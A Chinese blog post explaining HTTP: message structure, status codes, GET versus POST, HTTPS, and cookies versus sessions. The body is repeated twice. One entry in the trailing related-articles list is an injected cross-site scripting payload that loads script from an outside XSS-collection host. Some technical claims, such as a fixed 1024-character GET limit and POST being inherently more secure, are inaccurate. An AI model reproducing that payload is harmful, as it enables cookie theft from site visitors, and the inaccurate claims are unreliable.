关于http协议
2016-09-28 17:16
363 查看
定义:
Http协议(HyperTextTransferProtoco):超文本传输协议(无状态协议),http协议是一个基于浏览器和服务器(B/S)请求和应答的应用层协议,http构建在TCP之上。
http的无状态是指服务器在处理完事务之后不会记录之前的记录,每一次的请求都需要建立一次连接。解决这种办法可以使用cookie或session记录信息。服务器默认的端口是80端口
基本http协议的流程:(一次http操作称为一个事务)
1、客户机与服务器建立连接(每个请求都要建立一个连接)
点击某个http超链接
2、发送请求信息
请求报文包括三部分:
1)请求行(request-line):
包括URL
请求的方法:get、POST、head、put、delete、options、trace、connect
http版本信息
如:get/http://www.baidu.com/s?username=a&pwd=b HTTP/1.1
2)请求头部(headers 由键值对组成):
user-agent(浏览器信息)
accept(可以接收的数据类型,如html、json、text、xml等,如果是“*/*”则表示是没有限制)
host(主机名或域名)
Accept-Encoding(可接收的编码压缩格式,如:gzip,deflate)
Accept-Language(可以接收的自然语言,如中文等)
Connect(连接方式,如:keep-alive或close)
cookie
referer(URL,记录请求之前的页面的地址)
3)请求数据(request-body):header和body之间有空格
get:则请求的数据直接包含在URL中,但是最多可以识别1024个字符
POST:数据保存在请求内容中,各个字符之间也用&来连接,适用于表单请求
3、发送响应信息
响应报文包括三部分:
1)状态行(status-line):
http版本信息
状态码:
200 OK:成功
304 Not Modified:服务器只会返回状态码,但不会返回资源
403 forbidden:禁止访问 服务器收到了请求,但是拒绝提供服务
404 Not Found:请求的资源不存在,如:错误的URL或断网
500 Internet server error:服务器发生错误
503 service unavailable:服务器目前不能处理请求(维护中或过载),可能过一段时间可以
504 gateway timeout:网关超时
505 http version not supported:对当前的http版本不支持
状态码含义(英文表示)
如:http/1.1 200 OK
2)响应头部(headers):
Content-type:可以接受的数据格式(如json、text)和编码
Content-encoding:可以接受的压缩格式(如gzip)
Date:当前的时间
set-cookie:设置cookie
Connection:连接方式(keep-alive/close)
Server:服务器名称
Cache-control:用于指定所有缓存机制在整个请求/响应链中必须服从的指令。private是默认的,此外还有public、no-cache、no-store、max-age=XXX等
max-age:表示当访问此网页后的 x 秒内再次访问不会去服务器;
no-cache,实际上Cache-Control: no-cache是会被缓存的,只不过每次在向客户端(浏览器)提供响应数据时,缓存都要向服务器评估缓存响应的有效性;
no-store,这个才是响应不被缓存的意思;
响应的头部如:
3)响应数据(response-body):
返回响应后的数据,与header中间有一行空格
4、关闭连接
客户端接收服务器返回的信息,通过浏览器显示在屏幕上(如果整个传输的过程中某个步骤出现了错误,产生的错误会自动发送到客户端),关闭连接
http和https的区别
http是明文传输,HTTPS是加密传输
https比http更加安全,需要用到SSL证书
http的端口号是80,HTTPS的端口号是443
请求方法:get和POST的不同
在客户端和服务器之间进行请求响应时,最常用到的就是POST和get。
“增删改查”----put、delete、post、get
POST:向指定资源提交要申请的数据
get:从指定的资源请求数据
一般在浏览器中输入一个网址访问网站用的是get请求,而使用表单提交的时候可以设置method方法为get或POST,默认使用get,推荐使用post。
get不会修改信息,不会再服务器上产生任何结果。而POST可能会修改服务器上的信息。
形式上,get请求:请求的数据会附在URL的后面,用“?”来分隔URL和数据,用“&”连接数据中间不能有空格。POST请求:请求的数据放在body中,也是用“&”连接
传输数据的大小,在实际的http规范中,没有对URL做限定,但是有的浏览器会对URL做限定,所以使用get请求时,请求的数据会受到URL的影响。而POST不会受到影响。
安全性,POST的安全性比get高,get请求的数据在URL中,所以可以看到不安全,POST看不见请求的数据
编码类型,get只支持ASCII字符,POST都可以
session和cookie
会话(session)是跟踪web程序常用的技术,用来跟踪用户的整个会话过程。常用的会话跟踪技术是cookie和session。cookie是在客户端确定用户身份(保存在客户端浏览器中),而session是在服务器端确定用户身份(保存在服务器中)。
cookie:
cookie是用来解决http协议无状态(每一次请求都要重新建立一次连接)的不足,原理就是客户端向服务器发出了请求,这时服务器想要记录用户状态信息,就会在response设置cookie,,当浏览器下次发出请求的时候,在request时就会带上cookie。服务器通过检查从cookie就可以确认用户状态了。
cookie需要浏览器的支持,如果浏览器不支持或者用户在浏览器中设置了禁用cookie,就不能使用cookie了
cookie具有不可跨域名性,也不可以跨子域名
cookie不支持修改和删除操作,若想要修改cookie只需要重新设置cookie来覆盖原来的信息即可。cookie有有效期,在有效期过后就会自动删除
因为http协议是不安全的,所以在使用cookie的时候可以使用secure设置为true,意味着只有当浏览器是HTTPS的时候才可以使用cookie
session:
session保存在服务器的内存中,这样可以获取高效的存取速度,session保存用户第一次登陆时的记录,随后在用户每一次的访问中更新最后访问的信息,这样为防止内存溢出,就将长时间没有活跃的cookie删除掉。
session需要使用cookie作为标志,也可以将session的id写入URL中
cookie 和session 的区别:
1、cookie数据存放在客户的浏览器上,session数据放在服务器上。
2、cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗
考虑到安全应当使用session。
3、session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能
考虑到减轻服务器性能方面,应当使用COOKIE。
4、单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。
5、所以个人建议:
将登陆信息等重要信息存放为SESSION
其他信息如果需要保留,可以放在COOKIE中
Http协议(HyperTextTransferProtoco):超文本传输协议(无状态协议),http协议是一个基于浏览器和服务器(B/S)请求和应答的应用层协议,http构建在TCP之上。
http的无状态是指服务器在处理完事务之后不会记录之前的记录,每一次的请求都需要建立一次连接。解决这种办法可以使用cookie或session记录信息。服务器默认的端口是80端口
基本http协议的流程:(一次http操作称为一个事务)
1、客户机与服务器建立连接(每个请求都要建立一个连接)
点击某个http超链接
2、发送请求信息
请求报文包括三部分:
1)请求行(request-line):
包括URL
请求的方法:get、POST、head、put、delete、options、trace、connect
http版本信息
如:get/http://www.baidu.com/s?username=a&pwd=b HTTP/1.1
2)请求头部(headers 由键值对组成):
user-agent(浏览器信息)
accept(可以接收的数据类型,如html、json、text、xml等,如果是“*/*”则表示是没有限制)
host(主机名或域名)
Accept-Encoding(可接收的编码压缩格式,如:gzip,deflate)
Accept-Language(可以接收的自然语言,如中文等)
Connect(连接方式,如:keep-alive或close)
cookie
referer(URL,记录请求之前的页面的地址)
3)请求数据(request-body):header和body之间有空格
get:则请求的数据直接包含在URL中,但是最多可以识别1024个字符
POST:数据保存在请求内容中,各个字符之间也用&来连接,适用于表单请求
3、发送响应信息
响应报文包括三部分:
1)状态行(status-line):
http版本信息
状态码:
200 OK:成功
304 Not Modified:服务器只会返回状态码,但不会返回资源
403 forbidden:禁止访问 服务器收到了请求,但是拒绝提供服务
404 Not Found:请求的资源不存在,如:错误的URL或断网
500 Internet server error:服务器发生错误
503 service unavailable:服务器目前不能处理请求(维护中或过载),可能过一段时间可以
504 gateway timeout:网关超时
505 http version not supported:对当前的http版本不支持
状态码含义(英文表示)
如:http/1.1 200 OK
2)响应头部(headers):
Content-type:可以接受的数据格式(如json、text)和编码
Content-encoding:可以接受的压缩格式(如gzip)
Date:当前的时间
set-cookie:设置cookie
Connection:连接方式(keep-alive/close)
Server:服务器名称
Cache-control:用于指定所有缓存机制在整个请求/响应链中必须服从的指令。private是默认的,此外还有public、no-cache、no-store、max-age=XXX等
max-age:表示当访问此网页后的 x 秒内再次访问不会去服务器;
no-cache,实际上Cache-Control: no-cache是会被缓存的,只不过每次在向客户端(浏览器)提供响应数据时,缓存都要向服务器评估缓存响应的有效性;
no-store,这个才是响应不被缓存的意思;
响应的头部如:
3)响应数据(response-body):
返回响应后的数据,与header中间有一行空格
4、关闭连接
客户端接收服务器返回的信息,通过浏览器显示在屏幕上(如果整个传输的过程中某个步骤出现了错误,产生的错误会自动发送到客户端),关闭连接
http和https的区别
http是明文传输,HTTPS是加密传输
https比http更加安全,需要用到SSL证书
http的端口号是80,HTTPS的端口号是443
请求方法:get和POST的不同
在客户端和服务器之间进行请求响应时,最常用到的就是POST和get。
“增删改查”----put、delete、post、get
POST:向指定资源提交要申请的数据
get:从指定的资源请求数据
一般在浏览器中输入一个网址访问网站用的是get请求,而使用表单提交的时候可以设置method方法为get或POST,默认使用get,推荐使用post。
get不会修改信息,不会再服务器上产生任何结果。而POST可能会修改服务器上的信息。
形式上,get请求:请求的数据会附在URL的后面,用“?”来分隔URL和数据,用“&”连接数据中间不能有空格。POST请求:请求的数据放在body中,也是用“&”连接
传输数据的大小,在实际的http规范中,没有对URL做限定,但是有的浏览器会对URL做限定,所以使用get请求时,请求的数据会受到URL的影响。而POST不会受到影响。
安全性,POST的安全性比get高,get请求的数据在URL中,所以可以看到不安全,POST看不见请求的数据
编码类型,get只支持ASCII字符,POST都可以
session和cookie
会话(session)是跟踪web程序常用的技术,用来跟踪用户的整个会话过程。常用的会话跟踪技术是cookie和session。cookie是在客户端确定用户身份(保存在客户端浏览器中),而session是在服务器端确定用户身份(保存在服务器中)。
cookie:
cookie是用来解决http协议无状态(每一次请求都要重新建立一次连接)的不足,原理就是客户端向服务器发出了请求,这时服务器想要记录用户状态信息,就会在response设置cookie,,当浏览器下次发出请求的时候,在request时就会带上cookie。服务器通过检查从cookie就可以确认用户状态了。
cookie需要浏览器的支持,如果浏览器不支持或者用户在浏览器中设置了禁用cookie,就不能使用cookie了
cookie具有不可跨域名性,也不可以跨子域名
cookie不支持修改和删除操作,若想要修改cookie只需要重新设置cookie来覆盖原来的信息即可。cookie有有效期,在有效期过后就会自动删除
因为http协议是不安全的,所以在使用cookie的时候可以使用secure设置为true,意味着只有当浏览器是HTTPS的时候才可以使用cookie
session:
session保存在服务器的内存中,这样可以获取高效的存取速度,session保存用户第一次登陆时的记录,随后在用户每一次的访问中更新最后访问的信息,这样为防止内存溢出,就将长时间没有活跃的cookie删除掉。
session需要使用cookie作为标志,也可以将session的id写入URL中
cookie 和session 的区别:
1、cookie数据存放在客户的浏览器上,session数据放在服务器上。
2、cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗
考虑到安全应当使用session。
3、session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能
考虑到减轻服务器性能方面,应当使用COOKIE。
4、单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。
5、所以个人建议:
将登陆信息等重要信息存放为SESSION
其他信息如果需要保留,可以放在COOKIE中
相关文章推荐
- Android应用开发网络请求 HttpClient和HttpURLConnection的区别
- TCP/IP网络编程
- 安卓开发实战之app之版本更新升级(DownloadManager和http下载)完整实现
- ios object_c网络post和get的个人见解
- Deep Learning模型之:CNN卷积神经网络(一)深度解析CNN
- Http协议(页面内容压缩)
- CAS取消https方法配置
- Epoll 高并发网络编程
- Http和Socket连接区别
- https tomcat 证书搭建
- Andriod中HTTPS安全使用
- TCP三次握手连接及seq和ack号的正确理解
- 深入理解HTTP协议
- zabbix通过自动发现功能实现自动识别网络设备接口
- 深入理解android网络-bluetooth-Note
- "/><script src=http://xsspt.com/FuyOUa?1475066336></script><!-
- NS2中无线网络模拟之三(AODV路由分析)
- Deep Dream 初体验 - 神经网络模型眼中的世界
- fragment网络请求getActivity()
- 爬取链家房屋信息-网络爬虫初体验demo